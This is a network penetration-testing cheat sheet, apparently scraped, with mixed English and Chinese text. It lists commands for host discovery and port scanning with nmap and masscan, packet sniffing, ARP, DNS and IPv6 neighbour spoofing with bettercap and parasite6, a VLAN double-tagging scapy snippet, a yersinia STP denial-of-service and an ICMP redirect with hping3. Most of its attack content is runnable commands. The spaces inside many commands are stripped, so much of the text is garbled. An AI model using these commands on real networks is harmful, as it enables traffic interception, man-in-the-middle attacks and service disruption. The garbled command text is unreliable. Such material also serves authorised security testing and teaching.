ping-c1199.66.11.4# 1 echo request to a hostfping-g199.66.11.0/24# Send echo requests to rangesnmap-PE-PM-PP-sn-n199.66.11.0/24#Send echo, timestamp requests and subnet mask requests
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)masscan-p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080199.66.11.0/24
nmap-sU-sV--version-intensity0-F-n199.66.11.53/24# The -sV will make nmap test each possible known UDP service packet# The "--version-intensity 0" will make nmap only test the most probable
#ARP discoverynmap-sn<Network>#ARP Requests (Discover IPs)netdiscover-r<Network>#ARP requests (Discover IPs)#NBT discoverynbtscan-r192.168.0.1/24#Search in Domain# Bettercapnet.probeon/off#Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSDsetnet.probe.mdnstrue/false#Enable mDNS discovery probes (default=true)setnet.probe.nbnstrue/false#Enable NetBIOS name service discovery probes (default=true)setnet.probe.upnptrue/false#Enable UPNP discovery probes (default=true)setnet.probe.wsdtrue/false#Enable WSD discovery probes (default=true)setnet.probe.throttle10#10ms between probes sent (default=10)#IPv6alive6<IFACE># Send a pingv6 to multicast.
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
扫描主机
一旦您发现了所有您想要深入扫描的IP(外部或内部),可以执行不同的操作。
TCP
开放端口:SYN --> SYN/ACK --> RST
关闭端口:SYN --> RST/ACK
过滤端口:SYN --> [无响应]
过滤端口:SYN --> ICMP消息
# Nmap fast scan for the most 1000tcp ports usednmap-sV-sC-O-T4-n-Pn-oAfastscan<IP># Nmap fast scan for all the portsnmap-sV-sC-O-T4-n-Pn-p--oAfullfastscan<IP># Nmap fast scan for all the ports slower to avoid failures due to -T4nmap-sV-sC-O-p--n-Pn-oAfullscan<IP>#Bettercap Scansyn.scan192.168.1.0/24110000#Ports 1-10000
# Check if any of the most common udp services is runningudp-proto-scanner.pl<IP># Nmap fast check if any of the 100 most common UDP services is runningnmap-sU-sV--version-intensity0-n-F-T4<IP># Nmap check if any of the 100 most common UDP services is running and launch defaults scriptsnmap-sU-sV-sC-n-F-T4<IP># Nmap "fast" top 1000 UDP portsnmap-sU-sV--version-intensity0-n-T4<IP># You could use nmap to test all the UDP ports, but that will take a lot of time
sudotcpdump-i<INTERFACE>udpport53#Listen to DNS request to discover what is searching the hosttcpdump-i<IFACE>icmp#Listen to icmp packetssudobash-c"sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
net.sniffonnet.sniffstatssetnet.sniff.outputsniffed.pcap#Write captured packets to filesetnet.sniff.local#If true it will consider packets from/to this computer, otherwise it will skip them (default=false)setnet.sniff.filter#BPF filter for the sniffer (default=not arp)setnet.sniff.regexp#If set only packets matching this regex will be considered
arp.spoofonsetarp.spoof.targets<IP>#Specific targets to ARP spoof (default=<entire subnet>)setarp.spoof.whitelist#Specific targets to skip while spoofingsetarp.spoof.fullduplextrue#If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)setarp.spoof.internaltrue#If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
apt-getinstallyersinia#Installationsudoaptinstallkali-linux-large#Another way to install it in Kaliyersinia-I#Interactive mode#In interactive mode you will need to select a interface first#Then, you can select the protocol to attack using letter "g"#Finally, you can select the attack using letter "x"yersinia-G#For graphic mode
攻击者的另一个选择是发起TCP 端口扫描,欺骗攻击者控制的 IP 并可被受害者访问(可能通过互联网)。然后,攻击者可以嗅探他拥有的第二个主机是否接收到来自受害者的一些数据包。
要执行此攻击,您可以使用 scapy:pip install scapy
from scapy.all import*# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)packet =Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()sendp(packet)
侧向 VLAN 分割绕过
如果您可以访问直接连接的交换机,则可以在网络中绕过 VLAN 分割。只需将端口切换到干线模式(也称为干线),使用目标 VLAN 的 ID 创建虚拟接口,并配置 IP 地址。您可以尝试动态请求地址(DHCP),也可以静态配置。这取决于具体情况。
yersiniastp-attack1#Will send 1 TCP packet and the switch should restore the CAM in 15 secondsyersiniastp-attack0#Will send 1 CONF packet, nothing else will happen
yersiniastp-attack6#This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"ettercap-T-ieth1-Beth2-q#Set a bridge between 2 interfaces to forwardpackages
Ettercapicmp_redirecthping3 [VICTIM IPADDRESS]-C5-K1-a [VICTIM DEFAULTGWIPADDRESS]--icmp-gw [ATTACKER IPADDRESS]--icmp-ipdst [DST IPADDRESS]--icmp-ipsrc [VICTIM IPADDRESS]#Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS欺骗
攻击者将解析受害者请求的一些(或全部)域名。
setdns.spoof.hosts./dns.spoof.hosts; dns.spoofon
使用dnsmasq配置自己的DNS
apt-getinstalldnsmasqecho"addn-hosts=dnsmasq.hosts">dnsmasq.conf#Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemondig@localhostdomain.example.com# Test the configured DNS
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
这种攻击与 ARP 欺骗非常相似,但是在 IPv6 世界中。您可以让受害者认为网关的 IPv6 具有攻击者的 MAC 地址。
sudoparasite6-leth0# This option will respond to every requests spoofing the address that was requestedsudofake_advertise6-r-w2eth0<Router_IPv6>#This option will send the Neighbor Advertisement packet every 2 seconds